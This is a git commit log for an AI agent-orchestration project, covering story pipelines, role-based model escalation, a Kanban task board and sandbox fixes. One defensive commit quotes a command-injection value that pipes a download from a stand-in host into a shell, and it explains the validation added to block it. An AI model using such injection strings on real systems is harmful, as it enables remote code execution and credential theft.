| Age | Commit message (Collapse) | Author |
|---|
|
Piece 2a of docs/superpowers/specs/2026-07-09-recursive-arbitrated-review-design.md,
discovered while grounding piece 2 in the real executor code: a subtask
that itself spawns subtasks is incorrectly marked COMPLETED the instant
its own agent turn ends, ignoring pending grandchildren. handleRunResult,
maybeUnblockParent, and RecoverStaleBlocked all special-case "is this
top-level" instead of "does this task have its own pending subtasks" --
a prerequisite bug fix the currentAttempt()/fix-loop generalization
(piece 2b) depends on.
|
|
Task 2 of the task-acceptance-criteria plan copied the plan
document's own misaligned struct-literal text verbatim without
running gofmt afterward, newly breaking gofmt compliance on
tools.go/agentmcp.go; also fixes pre-existing unrelated misalignment
in channel.go/channel_test.go while touching the same files.
|
|
spawn_subtask
|
|
|
|
Piece 1 of docs/superpowers/specs/2026-07-09-recursive-arbitrated-review-design.md's
implementation order: adds the field the earlier 2026-07-08 spec
incorrectly claimed already existed, and exposes it on spawn_subtask.
|
|
fix loop)
Replaces the story.RootTaskID re-pointing mechanism shipped in
2026-07-09-story-fix-and-reevaluate-loop.md with a uniform
currentAttempt() resolution that works identically at every depth of
a story's task tree, not just the root. Also corrects the 2026-07-08
spec's incorrect claim that Task.AcceptanceCriteria already exists.
|
|
is rejected
|
|
Closes the recursive-story-decomposition design spec's "fix-and-
re-evaluate loop has to become real" gap -- today NEEDS_FIX is a dead
end requiring manual human intervention. Design decision (re-point
story.RootTaskID at a fresh fix-attempt task, vs. spawning as a
dependent of a fixed root) made with user input before writing this
plan.
|
|
|
|
|
|
Scopes the "MCP surface: story-level tools, additive to what exists"
piece of the recursive-story-decomposition design spec on its own,
independent of the larger deferred per-node arbitrated-review
generalization and builder role system-prompt work.
|
|
of always routing to REVIEW_READY
|
|
|
|
Task 4's plan scope covered agentchannel.go/channel.go/channel_test.go
but missed this second AgentChannel test double, which broke `go test
./...` (compile failure) even though `go build ./...` was clean.
|
|
signals
|
|
|
|
|
|
order its own subtasks
|
|
reporting
Plan 1 of the recursive-story-decomposition design (see
docs/superpowers/specs/2026-07-08-recursive-story-decomposition-design.md).
Deliberately scoped to two small, independent, fully-groundable additions
-- SubtaskSpec.DependsOn and a structured report_verdict tool closing the
"arbitration never parses its own verdict" gap -- rather than attempting
the full recursive orchestrator rewrite in one pass. That rewrite becomes
its own plan(s) once story_orchestrator_test.go (1023 lines of existing
convention) has been read in full.
Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01VTUSAEKfsPc6WGDq45yPHD
|
|
Retro from the tasks-board build (see memory
claudomator-sequential-orchestration-gap): claudomator has no native way to
drive a stated intent through review-gated implementation to arbitrary
depth -- that role was played by a human/chatbot controller hand-dispatching
and re-dispatching all session. Design converged through several rejected
drafts (a separate "chain mode" pipeline, a distinct Planner role) before
landing on the actual shape: one role, one recursive decompose-or-evaluate
mechanism, applied at every depth, with arbitrated multi-evaluator review
running at every node instead of once at a story's outer level.
Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01VTUSAEKfsPc6WGDq45yPHD
|
|
Agent.Model is concatenated unescaped into a sh -c command string in
ContainerRunner.buildInnerCmd (--model flag, added in the prior commit).
With no validation, a value like "sonnet; curl evil.com | sh" would
execute arbitrary shell code inside the task's container -- which has
mounted Claude credentials and git push access. Flagged by automated
security review immediately after that commit landed.
Restrict to the character set real model names actually use
(alphanumeric, dot, underscore, hyphen), validated at the same boundary
PermissionMode already uses (task.Validate, called before a task is ever
persisted or dispatched).
Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01VTUSAEKfsPc6WGDq45yPHD
|
|
This should have been committed alongside the design spec (f626155) before
task execution began. It wasn't -- every claudomator container that cloned
this repo during the Tasks board build never actually had this file, since
containers clone from the pushed remote, not the local working tree. Tasks
dispatched with only a "read this file" instruction had nothing to read and
silently improvised instead, which explains most of the review-cycle churn
during that build far better than "the implementer didn't follow
instructions" did. Committing now for the historical record and so the
gap can't repeat for this specific file.
Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01VTUSAEKfsPc6WGDq45yPHD
|
|
buildInnerCmd never read t.Agent.Model when constructing the container's
claude -p invocation -- every Claude-type task silently ran on the CLI's
own default model regardless of what was requested via submit_task or the
role-based escalation ladder. Confirmed via execution logs: every task run
this session showed claude-sonnet-4-6 regardless of the model parameter
passed, which only went unnoticed because sonnet was requested every time.
Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01VTUSAEKfsPc6WGDq45yPHD
|
|
CSS cascade fix: .task-log-tail.running-log combinator overrides
.task-log-tail's 90px max-height for RUNNING/BLOCKED cards, restoring
the intended 300px prominent log panel. Closes EventSource streams in
taskLogStreams when cards are removed from the board.
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
|
|
(task 8)
Delete renderQueuePanel, renderInterruptedPanel, renderReadyPanel, renderRunningView,
startRunningLogStream (old version), updateRunningElapsed, isRunningTabActive, and
the runningViewLogSources map — all superseded by renderTasksBoard (task 7) and
ensureTaskLogStream (task 6). Zero remaining callers; all 315 JS tests pass.
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
|
|
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
|
|
streaming (task 6)
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
|
|
Prevents renderTasksIntoContainer from tearing down and rebuilding a task
card on every poll tick just because its .task-log-tail has accumulated
streamed log lines. Exports cardContentSignature which walks the card
element tree and returns a stable fingerprint that ignores .task-log-tail
and .running-log subtrees. Also preserves the existing log-tail node
across a real content-change swap so live EventSource streams survive.
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
|
|
(task 4 reviewer findings)
- Move elapsed timer span from card header to after meta block; add
task-elapsed class alongside running-elapsed (Finding 1)
- Replace PENDING/QUEUED-only log-tail div with full if/else: placeholder
div.task-log-tail-placeholder for queue states, div.task-log-tail with
dataset.logTarget for all other states (Finding 2)
- Delete web/test/task-card-di.test.mjs; append correct tests to
web/test/tasks-board.test.mjs covering log-tail and elapsed timer
contracts (Finding 3)
- Thread doc parameter through createEditForm, renderSubtaskRollup, and
renderQuestionFooter so createTaskCard is fully testable without a
browser DOM
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
|
|
elapsed timer (task 4)
- Export createTaskCard and add `doc = document` parameter; replace every
document.createElement call inside the function with doc.createElement,
enabling unit testing without a real DOM.
- RUNNING tasks: append a span.running-elapsed (data-started-at, elapsed
text) to the card header, consistent with renderRunningView so
updateRunningElapsed() picks it up automatically.
- PENDING/QUEUED tasks: append div.task-log-tail > p.task-log-placeholder
("Waiting to start…") — the queue column has no execution yet, so a
placeholder is shown instead of an empty log box.
- New web/test/task-card-di.test.mjs covers DI doc plumbing, placeholder
presence/absence, and elapsed-timer presence/absence across states.
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
|
|
- Change .tasks-column width from 300px to 220px (spec literal value)
- Change .tasks-column-list max-height from 60vh to 70vh (spec literal value)
- Add missing .task-log-tail and .task-log-tail-placeholder rules after .tasks-column-list
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
|
|
- Add <button data-tab="tasks"> to the nav bar (between Stories and Stats)
- Add <div data-panel="tasks" hidden><div class="tasks-board"></div></div>
to main as the panel container for the Tasks board
- Add .tasks-board, .tasks-column, .tasks-column-header, .tasks-column-count,
.tasks-column-list CSS rules (mirrors .stories-* layout; 300px columns to
accommodate task card content)
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
|
|
'stories'
Two test assertions in tab-persistence.test.mjs were checking that the default
tab is 'queue', but commit cc6b323 changed the default to 'stories' without
updating this test. Updates both the assertion values and the test description
strings to match current behaviour.
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
|
|
Finding 1 (Important): replace inline per-column sort comparators in
groupTasksByColumn with calls to the existing sortTasksByDate(tasks, descend)
helper. The old inline code fell back to epoch 0 for missing created_at,
sorting dateless tasks FIRST in ascending columns — diverging from the rest of
the codebase's convention (sortTasksByDate puts them LAST). Add two new tests
asserting that a task with no created_at sorts LAST in both an ascending
column (queue) and a descending column (interrupted).
Finding 2 (Important): revert web/test/tab-persistence.test.mjs — the two
'stories' assertions introduced in 54be094 were out of Task 1's scope and
belong to Task 2. Restore the original 'queue' assertions so commit messages
accurately reflect their contents; Task 2 will re-apply the fix intentionally.
Finding 3 (Minor): add the missing state-list uniqueness assertion to the
'every column key is unique' test: assert.equal(new Set(allStates).size,
allStates.length) so a state appearing in two columns is caught.
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
|
|
groupTasksByColumn)
Pure logic layer for the new Tasks tab Kanban board: a 5-column partition of
all 10 task states (Queue/Running/Ready/Interrupted/Done) with per-column sort
directions (Queue+Ready oldest-first, Running+Interrupted+Done newest-first).
Also fixes 2 pre-existing stale assertions in tab-persistence.test.mjs
(default tab is 'stories', not 'queue', since cc6b323).
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
|
|
.superpowers/sdd/ holds the progress ledger, task briefs, and review
packages generated while executing an implementation plan via the
subagent-driven-development skill -- session-local scratch state, not
project source.
Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01VTUSAEKfsPc6WGDq45yPHD
|
|
Adds a Tasks tab (Kanban board, 5 columns: Queue/Running/Ready/
Interrupted/Done) covering all tasks regardless of story association,
with inline auto-tailing execution logs on every card. Mostly a
revival/generalization of UI code removed in cc6b323, plus a
generalization of the existing Running-tab log-stream mechanism to
every column.
Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01VTUSAEKfsPc6WGDq45yPHD
|
|
submitTask was using the inbound HTTP/MCP request context to submit work to
the executor pool, so every chatbot/REST-submitted task was cancelled the
moment the request returned rather than actually running. Use the server's
long-lived lifecycle context instead, matching the other Submit call sites.
Separately, computeExecutionStats compared execution state against a
lowercase 'completed' literal while the backend always emits uppercase
state values, so success rate silently read 0% for every execution. Also
treat READY as success alongside COMPLETED, since a top-level task's
execution lands at READY on success — COMPLETED requires a later, separate
accept step.
Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01VTUSAEKfsPc6WGDq45yPHD
|
|
Remove the old queue/interrupted/ready/running/budget/roles tabs.
Keep: stories (tracker board, now the default tab), stats (model
visibility dashboard), drops (file drop), settings.
Role configuration moves into the Settings tab as a section below the
general settings, rendered by renderSettingsPanel calling renderRolesPanel
with a sub-container. renderRolesPanel now accepts an optional container
parameter and uses safe DOM methods instead of innerHTML for error/empty
states.
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01DNDHfCtTZDbQueEV5sUBiD
|
|
redesign
The live DB has a stories table created before the full schema was
established. CREATE TABLE IF NOT EXISTS is a no-op on those DBs, so
epic_id, discovery_source, spec, acceptance_criteria_json, priority,
and root_task_id never landed — causing the CREATE INDEX on epic_id to
fail with "no such column" on startup.
Add an ALTER TABLE migration for each missing column, relying on the
existing isColumnExistsError guard for idempotency on fresh DBs.
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01DNDHfCtTZDbQueEV5sUBiD
|
|
fix(sandbox): run GitPush from host to fix local-remote push + harden against sandbox escape
|
|
against sandbox escape
DockerSandbox.GitPush was running `git push` inside the container via
`docker exec`, but the origin remote URL is a host filesystem path that
was never bind-mounted into the container — only hostDir is. This caused
`exit status 128` in TestDockerSandbox_RealContainer_Lifecycle.
Fix: run `git -C hostDir push origin -- <ref>` from the host (mirroring
HostSandbox.GitPush), so local-path remotes are reachable. Two security
flags prevent a compromised workspace from escaping onto the host:
- `-c core.hooksPath=/dev/null` neutralises any hooks planted in .git/
- `-c protocol.ext.allow=never` blocks the ext:: pseudo-protocol
Also rejects refs starting with "-" and inserts "--" before the ref to
prevent argument injection.
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01DNDHfCtTZDbQueEV5sUBiD
|
|
redesign (Phase 9b)
Two new tabs, matching Phase 9a's conventions: Budget (per-provider spend
meters, escalation funnel, spend-over-time) and Roles (version history,
draft activation, readable escalation-ladder view) -- the human-facing
surface for the token-husbanding value proposition and the Phase 5/8
versioned role-config system.
New backend (minimal, additive, matching existing endpoint conventions --
unauthenticated like /api/budget and /api/roles/*):
- internal/storage/dashboard.go: QueryEscalationFunnel (executions grouped
by escalation_rung + agent, count + cost) and QuerySpendTimeseries (cost
per provider bucketed hourly/daily, mirroring QueryDashboardStats'
existing bucketing expressions). Documented honestly: rung 0 is not
exclusively "resolved locally" -- escalation_rung defaults to 0
uniformly, so non-role-typed executions (which never climb a ladder)
land there too, alongside role-typed tasks genuinely resolved at tier 0.
A role-only variant would need a join against tasks.config_json with no
queryable role column on executions -- intentionally out of scope.
- internal/api/dashboard.go: GET /api/escalation-funnel, GET
/api/spend-timeseries (both ?window=5h|24h|7d|<duration>, default 24h).
- internal/storage.ListRoleNames + GET /api/roles: the "which roles exist"
gap -- there was no way to discover role names before this, only to list
versions for a role you already knew the name of.
Chart-form decisions (dataviz skill, invoked before writing chart code):
horizontal stacked bar for the escalation funnel (rung order already
encodes the funnel shape positionally; color only needed for per-provider
segments within each rung); multi-line for spend-over-time; a fixed-order
categorical palette from the skill's validated palette.md slots for
provider identity (re-validated against this app's dark surface, passing);
a separate status (good/warning/critical) palette for budget meters,
deliberately distinct from both --state-* and the provider palette. Caught
and fixed a real bug during visual QA: converging near-zero end-labels on
the spend chart were overlapping (an anti-pattern the skill explicitly
flags) -- fixed with a 14px minimum-gap check before direct-labeling an
endpoint, leaning on the legend/tooltip otherwise.
Verified with a real running server, real seeded data (65 executions across
rungs 0-2 with a realistic provider mix, 2 roles with active/draft/retired
role_configs versions written directly via internal/storage), and a real
headless-browser session (reusing Phase 9a's Chromium/proxy scaffinding):
confirmed correct rung totals/percentages, provider legends, a 3-line spend
chart, live window-selector re-render, correct active-version highlighting
on the role panel, and a real Activate click on a draft version -- verified
via both DOM re-render and a direct backend GET that it truly persisted.
go build/vet/test -race -count=1 all pass, full suite. node --test
web/test/*.mjs: 291/291 passing (16 new).
Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01V1moSNCJRcP6kykA4tyUSs
|
|
(Phase 9a)
First UI work on top of the harness's 8 backend phases -- pure web/*
frontend, no backend changes, keeping the existing embedded vanilla-JS
convention (no build step, no framework).
- Kanban board: columns spanning the full story lifecycle (DISCOVERY/FRAMING
-> BACKLOG -> PRIORITIZED -> IN_PROGRESS -> VALIDATING/REVIEW_READY -> DONE),
cards showing priority/acceptance-criteria count/eval-verdict progress.
Drag-and-drop reorders priority within a column (persisted via a partial
PUT /api/stories/{id}); cross-column drag is disabled outright (a
dragover handler only preventDefault()s when the dragged card's own status
already maps to that column) rather than allowed-then-snapped-back, since
the latter would visibly misplace a card for several seconds until the
next poll -- reads as a bug, not a feature.
- Epic swimlanes: stories grouped client-side by epic_id (incl. an
"Unassigned" lane) with a DONE/total progress meter per epic, built from
data the board already fetches (avoids N+1 GET /api/epics/{id}/stories
calls for a result that's a strict subset of the already-loaded list).
- Story detail modal: metadata/spec/acceptance criteria, a BFS-layered plain-
SVG DAG of the story's task-tree (rows = BFS depth from root_task_id over
both parent_task_id and depends_on edges, solid vs. dashed strokes
distinguishing the two edge kinds), an event timeline rendering
eval_verdict/arbitration_decided/human_accepted/retro_captured/
epic_proposed with human-readable text, and an Accept button wired to
POST /api/stories/{id}/accept when status is REVIEW_READY.
- DAG node coloring reuses the app's existing --state-* CSS custom
properties (the dataviz skill's "reserved status palette" pattern,
already used elsewhere in the app) rather than introducing a new palette.
Running the skill's own palette validator against that pre-existing
9-color set fails its CVD/lightness checks (a pre-existing condition, out
of scope to fix here since those colors are used elsewhere in the app) --
mitigated per the skill's documented remedy for a failing palette: every
node always carries a text label (name + role + state) and a full legend,
so identity never depends on color alone; edge kind is encoded by stroke
style, not color.
Verified with a real running server and a real headless-browser session
(Chromium via playwright-core, offline-cached), not just code review:
seeded real data (an epic, 11 stories across every lifecycle status, a
6-node Builder->4-Evaluator->Arbitration task tree, 4 story events) via the
live REST API plus two throwaway fixture scripts for the two write paths
the API doesn't expose (task depends_on, direct event writes), then
confirmed via screenshots/DOM assertions: correct column placement for every
status, working swimlane grouping/progress meter, correct 6-node/8-edge DAG
render, working event timeline, a real Accept-button API call flipping
REVIEW_READY->DONE, real drag-and-drop priority persistence (re-fetched to
confirm), and a genuine cross-column-drag no-op. Caught and fixed a real bug
during this process: DAG node-label truncation now measures
getComputedTextLength() and binary-searches the longest fit, instead of a
fixed character-count budget that collapsed every "Eval: evaluator_X" label
to "Eval:..." (only one space in the string).
go build ./... clean; node --test web/test/*.mjs -- 275 tests pass (19 new).
Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01V1moSNCJRcP6kykA4tyUSs
|
|
(Phase 8)
The final mechanism the versioned role-config model (Phase 5) was built for:
when a story reaches DONE, StoryOrchestrator spawns a retro-role task that
reflects on the story's full history and proposes draft role_configs
versions for a human to review and activate via the existing (unchanged)
POST /api/roles/{role}/activate.
- AgentChannel gains a 6th method, ProposeRoleConfig(ctx, role.RoleConfig)
(version, err), following ProposeEpic's precedent (Phase 7c): a structured
tool call, not summary-parsing. storeChannel.ProposeRoleConfig calls the
same Store.CreateRoleConfig the human-facing POST /api/roles/{role}/versions
endpoint already uses (proposed_by: "retro"), landing a new draft row
without touching whatever's currently active. Wired through both
transports exactly like ProposeEpic: internal/agentloop/tools.go (native
loop) and internal/executor/agentmcp.go (MCP).
- StoryOrchestrator.Tick now routes a story at status DONE to a new
processRetro stage instead of processStory -- a sibling stage, not a
continuation, since the Builder->Evaluators->Arbitration chain is long
settled by then. processRetro only *reads* that settled pipeline
(read-only findEvaluators/findArbitration counterparts to
ensureEvaluators/ensureArbitration -- it never spawns/mutates
Builder-pipeline tasks) to locate the Arbitration task the retro task
depends on, then spawns (idempotently -- checks for an existing
retro-role dependent first) one retro-role task with instructions
assembled from the story's spec/acceptance-criteria, full task tree, per-
task cost/escalation history, active role_configs per role encountered,
and the story's own event stream (evaluator verdicts, arbitration
decision).
- event.KindRetroCaptured (attached to the story's ID, matching
KindEvalVerdict/KindArbitrationDecided's convention) fires once the retro
task completes (auto-accepted like every other pipeline task), aggregating
every event.KindRoleConfigProposed the retro task recorded (one per
propose_role_config call) into {task_id, proposals: [{role, version}],
summary} -- the summary is the "capturing lessons" half of this ceremony,
the proposals are the versioned-config half.
- Human activation is completely untouched: drafts land through the
identical CreateRoleConfig/config_json path Phase 5's endpoints already
handle, confirmed via existing role-endpoint tests passing unmodified.
go build/vet/test -race -count=1 all pass, full suite (20 packages) -- one
run hit a known, pre-existing, intermittent flake under full-suite load
(unrelated to this phase's files) that did not reproduce on two immediate
reruns, both in isolation and full-suite.
Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01V1moSNCJRcP6kykA4tyUSs
|
|
(Phase 7c)
Two independent pieces, completing Phase 7.
Epic-proposal tool: AgentChannel gains a 5th method, ProposeEpic(ctx,
EpicProposal{Name, Description, StoryIDs}) (epicID, err), implemented on
storeChannel -- matches an existing epic by exact name or creates one
(DiscoverySource: "agent"), sets epic_id on each resolvable story (skips,
doesn't fail, on an unresolved ID), emits KindEpicProposed attached to the
epic's own ID with payload {epic_id, name, story_ids}. Wired into both
transports exactly like Phase 6 wired role into spawn_subtask: a new
propose_epic tool in the native tool-use loop (internal/agentloop/tools.go)
and the MCP transport (internal/executor/agentmcp.go). This is the mechanism
for a discovery/planner-role agent to act on its own judgment that several
stories it's been given form one cohesive initiative -- the judgment itself
lives in the calling agent's instructions/model, not in this code.
AskUser-timeout escalation: extends the existing Scheduler (Phase 5's
retry-then-escalate watcher) rather than adding a new component, since
"stuck task needs escalation" is exactly what it already does. Finds
role-typed BLOCKED tasks whose question has been outstanding longer than
SchedulerConfig.AskUserTimeoutSeconds (default 10 minutes) using
task.UpdatedAt as the outstanding-since timestamp -- no new column needed,
since UpdateTaskQuestion already stamps it the instant a question is
recorded and nothing else touches the row while BLOCKED. Resolves the next
ladder tier from the latest execution's EscalationRung, records the
system-authored fallback answer as an audit-trail task.Interaction, clears
the question, sets the new tasks.needs_review flag, emits KindEscalated
(now carrying a trigger field: "failure" vs "ask_user_timeout" for the
existing failure-retry path vs this one), and resumes via Pool.SubmitResume
at the escalated tier -- degrading to same-tier resume with final:true if
the ladder's exhausted or no role config exists, since unblocking the task
takes priority over having somewhere higher to escalate to.
GET /api/tasks?needs_review=true surfaces auto-decided tasks for human
review.
go build/vet/test -race -count=1 all pass, full suite (20 packages), run
twice to rule out flakiness in the new tests. (One pre-existing, unrelated
test -- TestHandleRunTask_CascadesRetryToFailedDeps, a tempdir-cleanup race
-- appeared once under full-suite load per the implementing agent's report
and did not reproduce in this verification's runs either; not a regression
from this work.)
Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01V1moSNCJRcP6kykA4tyUSs
|
|
Builder->Evaluators->Arbitration->accept (Phase 7b)
A deterministic, poll-based watcher (internal/scheduler.StoryOrchestrator,
sibling to the Phase 5 Scheduler) that drives a story.Story through its
execution pipeline, rather than relying on an LLM agent to correctly
orchestrate its own fan-out via tool calls.
Mechanism: polling, not a handleRunResult hook. Every task the orchestrator
watches (a story's root/Builder task, 4 Evaluators, Arbitration) is
top-level (no ParentTaskID), and executor.Pool.handleRunResult only ever
lands a top-level task at READY or BLOCKED -- never COMPLETED directly, since
that transition normally requires a human/chatbot POST /api/tasks/{id}/accept
in a different package. A handleRunResult hook would never observe it;
polling doesn't care how/whether a task reached a given state.
Stages: Builder COMPLETED -> spawn 4 role-typed Evaluator tasks
(evaluator_quality/security/correctness/performance, DependsOn: [builder],
no ParentTaskID -- true DAG siblings, not delegated subtasks) + story ->
VALIDATING. Each Evaluator COMPLETED -> emit KindEvalVerdict (attached to
the story's ID, so one GET /api/stories/{id}/events call surfaces every
verdict). All 4 Evaluators COMPLETED -> spawn 1 Arbitration task
(role: planner, DependsOn: all 4 evaluator IDs). Arbitration COMPLETED ->
emit KindArbitrationDecided, story -> REVIEW_READY. POST
/api/stories/{id}/accept (mirrors handleAcceptTask) -> DONE, emits
KindHumanAccepted.
Fixes a gap caught before merging: since none of Builder/Evaluators/
Arbitration have a ParentTaskID, none of them auto-complete -- each would
otherwise need a separate manual /api/tasks/{id}/accept, meaning 6 human
clicks per story before ever reaching the intended single story-level gate.
StoryOrchestrator.autoAccept now transitions each of these specific tasks
READY->COMPLETED itself (via the same validated Store.UpdateTaskState path
acceptTask uses), scoped only to tasks already established as part of a
story's pipeline (root task, or role-matched dependents from
ensureEvaluators/ensureArbitration) -- never a blanket sweep of unrelated
READY tasks. This makes POST /api/stories/{id}/accept the system's only
required human touchpoint for the whole chain, matching the design goal
that story (not task/subtask) is the human-interaction atom.
Idempotency: structural for task-creation stages (ensureEvaluators/
ensureArbitration check ListDependents for already-existing role-matched
tasks before creating -- crash/restart-safe); story.Status=="VALIDATING"
gates the Arbitration->REVIEW_READY write (nothing further downstream to
check structurally there); an in-memory handledVerdicts set (mirrors
Scheduler.handled) dedupes per-evaluator KindEvalVerdict emission across
poll ticks, resetting harmlessly on restart.
Documented simplification: finalizeArbitration never parses the Arbitration
summary for approve/reject -- always routes to REVIEW_READY; NEEDS_FIX is
manually settable via PUT /api/stories/{id}. A later phase could close this
with a dedicated verdict-reporting AgentChannel method instead of parsing
free text.
go build/vet/test -race -count=1 all pass, full suite (20 packages).
Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01V1moSNCJRcP6kykA4tyUSs
|
|
Pure data model + CRUD -- no orchestration behavior yet (that's Phase 7b).
Revives ADR-007's stories concept (adapted; ADR-007 itself was deleted as
"more machinery than the usage pattern needed") while staying lean: reuses
the existing events/projects/task-tree machinery rather than building a
parallel hierarchy.
- internal/story: Epic/Story types. Epic is a loosely-scoped initiative
(OPEN/CLOSED, no execution semantics). Story is a shippable slice of work
realized by a task tree rooted at root_task_id; epic_id/project_id/
root_task_id are loose references (no FK enforcement, matching the
codebase's existing tolerance for unmatched reference strings like
tasks.project).
- storage: new epics/stories tables (additive migrations) + CRUD methods.
Story status is intentionally unvalidated pass-through in this phase --
no task.ValidTransition-style state machine, since there's no orchestrator
yet to make transitions meaningful.
- event: 9 new Kind constants for the ceremony this layer will eventually
drive (epic_proposed, discovery_proposed, framing_decided, groomed,
prioritized, eval_verdict, arbitration_decided, retro_captured,
human_accepted) -- defined but nothing emits them yet.
- api: GET/POST /api/epics, GET/PUT /api/epics/{id}, GET /api/epics/{id}/stories,
GET/POST /api/stories, GET/PUT /api/stories/{id}, and GET
/api/stories/{id}/task-tree -- BFS walk from root_task_id following both
parent_task_id children and depends_on-edge dependents (visited-set
guarded), returning a flat node list for a later UI phase to render as a
graph. Unauthenticated, matching the existing projects/tasks endpoints'
posture.
go build/vet/test -race -count=1 all pass, full suite.
Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01V1moSNCJRcP6kykA4tyUSs
|
|
(Phase 6)
Two prerequisites for safe parallel evaluator fan-out (later phase):
1. Auto-cascade-fail: previously, a failed task's dependents just sat
PENDING/QUEUED forever (or until something eventually tried to dispatch
them and discovered the dependency was dead). Pool.cascadeFail now fires
right after a task lands in a terminal failure state (FAILED/TIMED_OUT/
CANCELLED/BUDGET_EXCEEDED, from handleRunResult, the budget-gate reject
path, and the checkDepsReady dependency-failure path), recursively
cancelling every not-yet-run dependent (PENDING/QUEUED only -- RUNNING and
terminal states are left alone) with a message referencing the upstream
failure. A visited-set guards recursion, which turned out to be
load-bearing rather than defense-in-depth: task creation does not prevent
dependency cycles anywhere in this codebase.
Correction to an earlier assumption: internal/executor's
waitForDependencies is dead code, never called. The live mechanism is
checkDepsReady, invoked synchronously in execute() with a self-requeue via
time.AfterFunc. Added a freshness re-check (GetTask, bail if no longer
QUEUED) at the top of that block so a task cascade-cancelled while sitting
in the requeue loop stops silently instead of hitting an invalid
CANCELLED->CANCELLED transition or, worse, still getting dispatched.
2. storeChannel.SpawnSubtask hardcoded Agent.Type: "claude" on every spawned
child regardless of what role it should play -- a hard blocker for a
Planner/Builder task spawning role-typed evaluator subtasks. SubtaskSpec
(internal/agentchannel) gains a Role field; when set, the child task gets
Agent.Role instead of a hardcoded Type, so Phase 5's role-resolution picks
provider/model from that role's escalation ladder. spec.Role == "" (every
existing caller) preserves today's exact behavior byte-for-byte -- proven
by an explicit regression test, not just new-feature coverage. Threaded
the new `role` parameter through both spawn_subtask transports: the native
tool-use loop (internal/agentloop/tools.go) and the MCP tool exposed to
ContainerRunner-driven claude/gemini agents (internal/executor/agentmcp.go).
go build/vet/test -race -count=1 all pass, full suite (20 packages).
Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01V1moSNCJRcP6kykA4tyUSs
|
|
Two parts:
Part A (fixes a gap from Phase 1): Groq/OpenRouter/OpenAI were documented in
docs/api-keys-setup.md as usable once configured, but nothing actually
constructed runners for them. internal/cli/cloudrunners.go consolidates
anthropic/google/groq/openrouter/openai NativeRunner construction into one
table-driven registerCloudRunners() helper, replacing the two hand-written
per-provider blocks in serve.go/run.go. Groq/OpenRouter/OpenAI reuse
openaicompat (no new adapter code) at SandboxKind: "docker".
Part B: the token-husbanding harness's core routing mechanism.
- internal/role: RoleConfig/Tier/Rung -- a role's system prompt and a
multi-tier (provider, model) escalation ladder, versioned via config_json.
- storage: new role_configs table (draft/active/retired, UNIQUE(role,
version)) with transactional activate-retires-prior-active semantics;
new executions.escalation_rung column.
- task.AgentConfig.Role string -- purely additive; every existing task shape
(Agent.Role == "") is unaffected, proven by TestPool_Execute_NonRoleTask_Unaffected
plus the full pre-existing suite passing unchanged.
- executor.Pool.execute(): role-typed tasks with no Agent.Type yet resolve
tier 0 of their active ladder (round-robin across multi-candidate tiers,
skipping rate-limited providers, falling back to soonest-clearing) before
the existing pickAgent/Classifier path runs; SystemPrompt applies to
Agent.SystemPromptAppend. Already-resolved role tasks (scheduler resubmits)
get their escalation_rung re-derived read-only via findTierIndex.
- internal/scheduler: polls role-typed FAILED tasks, retries at the same
rung under MaxRetries or escalates to the next tier's first candidate when
budget.Accountant.Allow() permits (emitting event.KindEscalated), else
leaves the task FAILED with a final:true KindEscalated event. An
in-memory per-execution-ID "handled" set keeps the poll loop convergent.
Started by `serve` only, config knob [scheduler].poll_interval_seconds.
- internal/api: POST/GET /api/roles/{role}/versions, POST
/api/roles/{role}/activate -- unauthenticated, matching the existing
projects/tasks REST endpoints' auth posture (only chatbot MCP, agent MCP,
and WebSocket are api_token-gated in this codebase today).
Documented as stored-but-not-yet-enforced (CLAUDE.md Design Debt, matching
how task.Priority/RetryConfig are already documented): RoleConfig.Tools/
SandboxKind don't affect dispatch yet; DefaultBudgetUSD is read narrowly as
the scheduler's escalation cost estimate, not enforced at initial dispatch;
scheduler escalation always targets Candidates[0] (no round-robin, unlike
initial-dispatch tier-0 resolution); the scheduler's dedupe is per-process
and resets on restart (idempotent, harmless).
go build/vet/test -race -count=1 all pass, 21 packages.
Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
